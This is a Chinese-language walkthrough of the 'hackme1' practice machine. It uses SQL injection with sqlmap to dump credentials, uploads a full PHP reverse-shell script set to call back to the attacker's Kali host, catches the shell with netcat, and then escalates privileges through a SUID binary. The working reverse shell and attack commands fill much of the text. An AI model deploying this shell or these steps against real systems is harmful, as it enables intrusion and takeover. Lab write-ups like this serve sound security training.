Hackme1
文章目录
前言
学习网络安全技术,我认为:主要是在注重实战。
实践是检验真理的唯一标准
接下来主要围绕靶机的攻击进程来学习网络安全技术。
一、搭建靶场环境
攻击机kali:
IP地址:192.168.247.129靶机hackme1:
IP地址:192.168.247.128
注意:kali和靶机的IP地址需要在同意局域网中即可(同一个网段,并且要在处于同一个网络模式中)
二、实战
2.1信息收集
2.1.1网络扫描
启动kali和靶机后进行扫描
方法一、arp-scan -I eth0 -l (指定的网卡进行扫描)
发现靶机的目标IP。
方法二、masscan扫描网段 -p 扫描端口号
方法三、netdiscover -i 网卡 -r 网段
2.1.2查看靶机开放的端口
nmap扫描:nmap -A -sV -T4 -p- IP 查看靶机的开放端口
现在我们发现有两个端口一个是22,另一个是80.
现在我们分析一下该怎样搞
22段口分析
一般只能暴力破解,暂时还没有合适的字典
80端口分析
访问一下看看
这个时候我们注册一个进去里面
注册好了,提交
这时我们发现这里有好多的书的名字
2.2SQL注入
2.2.1验证是否含有SQL注入漏洞
输入:Linux OS’ and 1=1#
可以插叙到
输入:Linux OS’ and 1=2#
啥都没有,说明存在漏洞
2.2.2sqlmap注入攻击
利用burpsuite抓一下看看
利用sqlmap搞一下
sqlmap -r hack.txt --batch --dbs
看到这个数据库的信息,这时我们试着对webapphacking爆表。
sqlmap -r hack.txt --batch -D webapphacking --tables
爆列
sqlmap -r hack.txt --batch -D webapphacking -T users --dump
现在我们发现这里有用户superadmin.
2386acb2cf356944177746fc92523983解一下这个md5得到用户superadmin的密码:
2.3文件上传漏洞
我们利用这个
superadmin用户的信息登入进去
这个是文件上传漏洞。
可以利用kali中自带的webshell,来进行攻击。
利用这个php文件上传的漏洞来进行攻击
现在修改参数
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$stringn";
}
}
?>
将其中的IP修改为自己的kali攻击机的IP
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.247.129'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
现在我们进行文件上传
上传的时候进行改一下后缀
欧克的
2.4kali监听
输入:nc -lvp 1234
使用python,进入bash
输入:python3 -c ‘import pty;pty.spawn("/bin/bash")’
2.5权力提升
查询suid权限程序:find / -perm -u=s -type f 2>/dev/null
/snap/core20/1270/usr/bin/chfn
/snap/core20/1270/usr/bin/chsh
/snap/core20/1270/usr/bin/gpasswd
/snap/core20/1270/usr/bin/mount
/snap/core20/1270/usr/bin/newgrp
/snap/core20/1270/usr/bin/passwd
/snap/core20/1270/usr/bin/su
/snap/core20/1270/usr/bin/sudo
/snap/core20/1270/usr/bin/umount
/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1270/usr/lib/openssh/ssh-keysign
/snap/core/6531/bin/mount
/snap/core/6531/bin/ping
/snap/core/6531/bin/ping6
/snap/core/6531/bin/su
/snap/core/6531/bin/umount
/snap/core/6531/usr/bin/chfn
/snap/core/6531/usr/bin/chsh
/snap/core/6531/usr/bin/gpasswd
/snap/core/6531/usr/bin/newgrp
/snap/core/6531/usr/bin/passwd
/snap/core/6531/usr/bin/sudo
/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6531/usr/lib/openssh/ssh-keysign
/snap/core/6531/usr/lib/snapd/snap-confine
/snap/core/6531/usr/sbin/pppd
/snap/core/5662/bin/mount
/snap/core/5662/bin/ping
/snap/core/5662/bin/ping6
/snap/core/5662/bin/su
/snap/core/5662/bin/umount
/snap/core/5662/usr/bin/chfn
/snap/core/5662/usr/bin/chsh
/snap/core/5662/usr/bin/gpasswd
/snap/core/5662/usr/bin/newgrp
/snap/core/5662/usr/bin/passwd
/snap/core/5662/usr/bin/sudo
/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/5662/usr/lib/openssh/ssh-keysign
/snap/core/5662/usr/lib/snapd/snap-confine
/snap/core/5662/usr/sbin/pppd
/snap/core/11993/bin/mount
/snap/core/11993/bin/ping
/snap/core/11993/bin/ping6
/snap/core/11993/bin/su
/snap/core/11993/bin/umount
/snap/core/11993/usr/bin/chfn
/snap/core/11993/usr/bin/chsh
/snap/core/11993/usr/bin/gpasswd
/snap/core/11993/usr/bin/newgrp
/snap/core/11993/usr/bin/passwd
/snap/core/11993/usr/bin/sudo
/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/11993/usr/lib/openssh/ssh-keysign
/snap/core/11993/usr/lib/snapd/snap-confine
/snap/core/11993/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/sudo
/home/legacy/touchmenot
/bin/mount
/bin/umount
/bin/ping
/bin/ntfs-3g
/bin/su
/bin/fusermount
发现一个目录可以进行提取/home/legacy/touchmenot
发现可以的
总结
本此靶机主要的工具和靶机都很简单,主要涉及的是SQL注入漏洞和文件上传漏洞。
1、sql注入工具:sqlmap
2、抓包工具:burpsuite
3、webshell后门:kali中的后门
4、suid提取:touchmenot提取
书籍是全世界的营养品,生活里没有书籍就好像没有阳光;智慧里没有书籍就好像鸟儿没有翅膀。——莎士比亚